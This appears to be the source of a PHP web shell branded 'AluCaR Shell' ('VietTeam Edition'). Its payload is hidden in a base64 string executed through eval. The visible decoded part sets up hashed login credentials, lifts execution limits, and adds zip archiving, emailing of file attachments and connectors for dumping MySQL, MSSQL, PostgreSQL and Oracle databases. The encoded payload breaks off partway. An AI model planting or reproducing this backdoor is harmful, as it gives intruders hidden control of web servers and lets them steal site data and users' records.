<?php
$language='eng';
$auth = 0;
$name='ecd708a016f8407bd27cc0a02677351b'; //// AluCaR
$pass='1b8644e229c999e4f6ba799483b196ce'; //// HcEgRoUp.NeT
/******************************************************************************************************/
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCnNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOw0KJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCiR2ZXJzaW9uID0gJ1ZpZXRUZWFtIEVkaXRpb24nOw0KaWYodmVyc2lvbl9jb21wYXJlKHBocHZlcnNpb24oKSwgJzQuMS4wJykgPT0gLTEpDQogew0KICRfUE9TVCAgID0gJiRIVFRQX1BPU1RfVkFSUzsNCiAkX0dFVCAgICA9ICYkSFRUUF9HRVRfVkFSUzsNCiAkX1NFUlZFUiA9ICYkSFRUUF9TRVJWRVJfVkFSUzsNCiAkX0NPT0tJRSA9ICYkSFRUUF9DT09LSUVfVkFSUzsNCiB9DQppZiAoQGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpDQogew0KIGZvcmVhY2ggKCRfUE9TVCBhcyAkaz0+JHYpDQogIHsNCiAgJF9QT1NUWyRrXSA9IHN0cmlwc2xhc2hlcygkdik7DQogIH0NCiBmb3JlYWNoICgkX0NPT0tJRSBhcyAkaz0+JHYpDQogIHsNCiAgJF9DT09LSUVbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsNCiAgfQ0KIH0NCg0KaWYoJGF1dGggPT0gMSkgew0KaWYgKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkhPSAkbmFtZSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIT0gJHBhc3MpDQogICB7DQogICBoZWFkZXIoJ1dXVy1BdXRoZW50aWNhdGU6IEJhc2ljIHJlYWxtPSJoQ2UtR3JPdVAgKyBBbHVDYVIiJyk7DQogICBoZWFkZXIoJ0hUVFAvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTsNCiAgIGV4aXQoIjxiPkNvbnRhY3QgPGEgaHJlZj1odHRwOi8vaGNlZ3JvdXAudm4vIDwvYT4gOiBBY2Nlc3MgRGVuaWVkPC9iPiIpOw0KICAgfQ0KfQ0KJGhlYWQgPSAnPCEtLSBFZGl0ZWQgYnkgQWx1Y2FyIC0tPg0KPGh0bWw+DQo8aGVhZD4NCjwvc2NyaXB0Pg0KPHRpdGxlPkFsdUNhUiBTaGVsbDwvdGl0bGU+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+DQoNCjxTVFlMRT4NCnRyIHsNCkJPUkRFUi1SSUdIVDogICNCbGFjayAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICBCbGFjayAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICBCbGFjayAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KY29sb3I6IFdoaXRlOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgI0JsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNCbGFjayAxcHggc29saWQ7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpjb2xvcjogV2hpdGU7DQp9DQoudGFibGUxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogV2hpdGU7DQp9DQoudGQxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KZm9udDogN3B0IFZlcmRhbmE7DQpjb2xvcjogV2hpdGU7DQp9DQoudHIxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KY29sb3I6IFdoaXRlOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgQmxhY2sgMXB4IG91dHNldDsNCkJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KY29sb3I6IFdoaXRlOw0KfQ0KaW5wdXQgew0KYm9yZGVyCQkJOiBzb2xpZCAxcHg7DQpib3JkZXItY29sb3IJCTogV2hpdGUgV2hpdGUgV2hpdGUgV2hpdGU7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KY29sb3I6IFdoaXRlOw0KfQ0Kc2VsZWN0IHsNCkJPUkRFUi1SSUdIVDogIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006IEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogV2hpdGU7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KY29sb3I6IFJlZDsNCn0NCnN1Ym1pdCB7DQpCT1JERVI6ICBidXR0b25oaWdobGlnaHQgMnB4IG91dHNldDsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0Kd2lkdGg6IDMwJTsNCmNvbG9yOiBXaGl0ZTsNCn0NCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006IEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiBXaGl0ZTsNCn0NCkJPRFkgew0KCVNDUk9MTEJBUi1GQUNFLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi1TSEFET1ctQ09MT1I6IFdoaXRlOyBTQ1JPTExCQVItM0RMSUdIVC1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiBXaGl0ZQ0KbWFyZ2luOiAxcHg7DQpjb2xvcjogUmVkOw0KYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7DQp9DQoubWFpbiB7DQptYXJnaW4JCQk6IC0yODdweCAwcHggMHB4IC00OTBweDsNCmJvcmRlcgkJCTogV2hpdGUgc29saWQgMXB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KfQ0KLnR0IHsNCmJhY2tncm91bmQtY29sb3I6IEJsYWNrOw0KfQ0KDQpBOmxpbmsgew0KCUNPTE9SOiAjMzQ3MjAyOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMzNDcyMDI7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KPC9TVFlMRT4NCjxzY3JpcHQgbGFuZ3VhZ2U9XCdqYXZhc2NyaXB0XCc+DQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0xO1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQ0Kew0KICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpDQogICAgc2hvd19kaXYoaWQpOw0KICBlbHNlDQogICAgaGlkZV9kaXYoaWQpOw0KfQ0KPC9zY3JpcHQ+JzsNCmNsYXNzIHppcGZpbGUNCnsNCiAgICB2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQogICAgdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KICAgIHZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsNCiAgICB2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQogICAgZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsNCiAgICAgICAgJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQogICAgICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7DQogICAgICAgICAgICAkdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7DQogICAgICAgICAgICAkdGltZWFycmF5Wydob3VycyddICAgPSAwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwNCiAgICAgICAgICAgICAgICAoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCiAgICB9DQogICAgZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkNCiAgICB7DQogICAgICAgICRuYW1lICAgICA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5hbWUpOw0KICAgICAgICAkZHRpbWUgICAgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOw0KICAgICAgICAkaGV4ZHRpbWUgPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOw0KICAgICAgICBldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOw0KICAgICAgICAkZnIgICA9ICJceDUwXHg0Ylx4MDNceDA0IjsNCiAgICAgICAgJGZyICAgLj0gIlx4MTRceDAwIjsNCiAgICAgICAgJGZyICAgLj0gIlx4MDBceDAwIjsNCiAgICAgICAgJGZyICAgLj0gIlx4MDhceDAwIjsNCiAgICAgICAgJGZyICAgLj0gJGhleGR0aW1lOw0KICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQogICAgICAgICRjcmMgICAgID0gY3JjMzIoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IGd6Y29tcHJlc3MoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCiAgICAgICAgJGNfbGVuICAgPSBzdHJsZW4oJHpkYXRhKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjcmMpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2JywgMCk7DQogICAgICAgICRmciAgICAgIC49ICRuYW1lOw0KICAgICAgICAkZnIgLj0gJHpkYXRhOw0KICAgICAgICAkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQogICAgICAgICRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDAwXHgwMCI7DQogICAgICAgICRjZHJlYyAuPSAiXHgxNFx4MDAiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDA4XHgwMCI7DQogICAgICAgICRjZHJlYyAuPSAkaGV4ZHRpbWU7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNyYyk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICR0aGlzIC0+IG9sZF9vZmZzZXQgKTsNCiAgICAgICAgJHRoaXMgLT4gb2xkX29mZnNldCArPSBzdHJsZW4oJGZyKTsNCiAgICAgICAgJGNkcmVjIC49ICRuYW1lOw0KICAgICAgICAkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KICAgIH0NCiAgICBmdW5jdGlvbiBmaWxlKCkNCiAgICB7DQogICAgICAgICRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQogICAgICAgICRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOw0KICAgICAgICByZXR1cm4NCiAgICAgICAgICAgICRkYXRhIC4NCiAgICAgICAgICAgICRjdHJsZGlyIC4NCiAgICAgICAgICAgICR0aGlzIC0+IGVvZl9jdHJsX2RpciAuDQogICAgICAgICAgICBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLg0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4NCiAgICAgICAgICAgIHBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKSAuDQogICAgICAgICAgICBwYWNrKCdWJywgc3RybGVuKCRkYXRhKSkgLg0KICAgICAgICAgICAgIlx4MDBceDAwIjsNCiAgICB9DQp9DQpmdW5jdGlvbiBjb21wcmVzcygmJGZpbGVuYW1lLCYkZmlsZWR1bXAsJGNvbXByZXNzKQ0KIHsNCiAgICBnbG9iYWwgJGNvbnRlbnRfZW5jb2Rpbmc7DQogICAgZ2xvYmFsICRtaW1lX3R5cGU7DQogICAgaWYgKCRjb21wcmVzcyA9PSAnYnppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnYnpjb21wcmVzcycpKQ0KICAgICB7DQogICAgICAgICRmaWxlbmFtZSAgLj0gJy5iejInOw0KICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3gtYnppcDInOw0KICAgICAgICAkZmlsZWR1bXAgPSBiemNvbXByZXNzKCRmaWxlZHVtcCk7DQogICAgIH0NCiAgICAgZWxzZSBpZiAoJGNvbXByZXNzID09ICdnemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKQ0KICAgICB7DQogICAgICAgICRmaWxlbmFtZSAgLj0gJy5neic7DQogICAgICAgICRjb250ZW50X2VuY29kaW5nID0gJ3gtZ3ppcCc7DQogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1nemlwJzsNCiAgICAgICAgJGZpbGVkdW1wID0gZ3plbmNvZGUoJGZpbGVkdW1wKTsNCiAgICAgfQ0KICAgICBlbHNlIGlmICgkY29tcHJlc3MgPT0gJ3ppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQ0KICAgICB7DQogICAgIAkkZmlsZW5hbWUgLj0gJy56aXAnOw0KICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3ppcCc7DQogICAgICAgICR6aXBmaWxlID0gbmV3IHppcGZpbGUoKTsNCiAgICAgICAgJHppcGZpbGUgLT4gYWRkRmlsZSgkZmlsZWR1bXAsIHN1YnN0cigkZmlsZW5hbWUsIDAsIC00KSk7DQogICAgICAgICRmaWxlZHVtcCA9ICR6aXBmaWxlIC0+IGZpbGUoKTsNCiAgICAgfQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgCSRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCiAgICAgfQ0KIH0NCmZ1bmN0aW9uIG1haWxhdHRhY2goJHRvLCRmcm9tLCRzdWJqLCRhdHRhY2gpDQogew0KICRoZWFkZXJzICA9ICJGcm9tOiAkZnJvbVxyXG4iOw0KICRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KICRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6ICIuJGF0dGFjaFsndHlwZSddOw0KICRoZWFkZXJzIC49ICI7IG5hbWU9XCIiLiRhdHRhY2hbJ25hbWUnXS4iXCJcclxuIjsNCiAkaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4iOw0KICRoZWFkZXJzIC49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGF0dGFjaFsnY29udGVudCddKSkuIlxyXG4iOw0KIGlmKEBtYWlsKCR0bywkc3ViaiwiIiwkaGVhZGVycykpIHsgcmV0dXJuIDE7IH0NCiByZXR1cm4gMDsNCiB9DQpjbGFzcyBteV9zcWwNCiB7DQogdmFyICRob3N0ID0gJ2xvY2FsaG9zdCc7DQogdmFyICRwb3J0ID0gJyc7DQogdmFyICR1c2VyID0gJyc7DQogdmFyICRwYXNzID0gJyc7DQogdmFyICRiYXNlID0gJyc7DQogdmFyICRkYiAgID0gJyc7DQogdmFyICRjb25uZWN0aW9uOw0KIHZhciAkcmVzOw0KIHZhciAkZXJyb3I7DQogdmFyICRyb3dzOw0KIHZhciAkY29sdW1uczsNCiB2YXIgJG51bV9yb3dzOw0KIHZhciAkbnVtX2ZpZWxkczsNCiB2YXIgJGR1bXA7DQoNCiBmdW5jdGlvbiBjb25uZWN0KCkNCiAgew0KICAJc3dpdGNoKCR0aGlzLT5kYikNCiAgICAgew0KICAJIGNhc2UgJ015U1FMJzoNCiAgCSAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzMzMDYnOyB9DQogIAkgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogIAkgICR0aGlzLT5jb25uZWN0aW9uID0gQG15c3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJzonLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsNCiAgCSAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgCSBicmVhazsNCiAgICAgY2FzZSAnTVNTUUwnOg0KICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzE0MzMnOyB9DQogIAkgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogIAkgICR0aGlzLT5jb25uZWN0aW9uID0gQG1zc3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJywnLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsNCiAgICAgIGlmKCR0aGlzLT5jb25uZWN0aW9uKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzU0MzInOyB9DQogICAgICAkc3RyID0gImhvc3Q9JyIuJHRoaXMtPmhvc3QuIicgcG9ydD0nIi4kdGhpcy0+cG9ydC4iJyB1c2VyPSciLiR0aGlzLT51c2VyLiInIHBhc3N3b3JkPSciLiR0aGlzLT5wYXNzLiInIGRibmFtZT0nIi4kdGhpcy0+YmFzZS4iJyI7DQogICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwOw0KICAgICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAcGdfY29ubmVjdCgkc3RyKTsNCiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICBjYXNlICdPcmFjbGUnOg0KICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgcmV0dXJuIDA7DQogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwgJHRoaXMtPnBhc3MsICR0aGlzLT5iYXNlKTsNCiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICB9DQogICAgcmV0dXJuIDA7DQogIH0NCg0KIGZ1bmN0aW9uIHNlbGVjdF9kYigpDQogIHsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAJIGlmKEBteXNxbF9zZWxlY3RfZGIoJHRoaXMtPmJhc2UsJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogIAkgaWYoQG1zc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMDsNCiAgfQ0KDQogZnVuY3Rpb24gcXVlcnkoJHF1ZXJ5KQ0KICB7DQogICAkdGhpcy0+cmVzPSR0aGlzLT5lcnJvcj0nJzsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBteXNxbF9xdWVyeSgnLyonLmNocigwKS4nKi8nLiRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gQG15c3FsX2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICBlbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAJYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBtc3NxbF9xdWVyeSgkcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBlcnJvcic7DQogICAgICByZXR1cm4gMDsNCiAgICAgIH0NCiAgICAgIGVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQ0KICAgICByZXR1cm4gMjsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AcGdfcXVlcnkoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5KSkpDQogICAgICB7DQogICAgICAkdGhpcy0+ZXJyb3IgPSBAcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgICByZXR1cm4gMDsNCiAgICAgIH0NCiAgICAgIGVsc2UgaWYoQHBnX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQ0KICAgICByZXR1cm4gMjsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBvY2lwYXJzZSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBwYXJzZSBlcnJvcic7DQogICAgICB9DQogICAgIGVsc2UNCiAgICAgIHsNCiAgICAgIGlmKEBvY2lleGVjdXRlKCR0aGlzLT5yZXMpKQ0KICAgICAgIHsNCiAgICAgICBpZihAb2Npcm93Y291bnQoJHRoaXMtPnJlcykgIT0gMCkgcmV0dXJuIDI7DQogICAgICAgcmV0dXJuIDE7DQogICAgICAgfQ0KICAgICAgJGVycm9yID0gQG9jaWVycm9yKCk7DQogICAgICAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107DQogICAgICB9DQogICAgYnJlYWs7DQogICAgfQ0KICByZXR1cm4gMDsNCiAgfQ0KIGZ1bmN0aW9uIGdldF9yZXN1bHQoKQ0KICB7DQogICAkdGhpcy0+cm93cz1hcnJheSgpOw0KICAgJHRoaXMtPmNvbHVtbnM9YXJyYXkoKTsNCiAgICR0aGlzLT5udW1fcm93cz0kdGhpcy0+bnVtX2ZpZWxkcz0wOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgJHRoaXMtPm51bV9yb3dzPUBteXNxbF9udW1fcm93cygkdGhpcy0+cmVzKTsNCiAgCSAkdGhpcy0+bnVtX2ZpZWxkcz1AbXlzcWxfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsNCiAgCSB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsNCiAgCSBAbXlzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQogIAkgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgCSAkdGhpcy0+bnVtX3Jvd3M9QG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOw0KICAJICR0aGlzLT5udW1fZmllbGRzPUBtc3NxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0KICAJIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBtc3NxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOw0KICAJIEBtc3NxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNCiAgCSBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9Ow0KICAgIG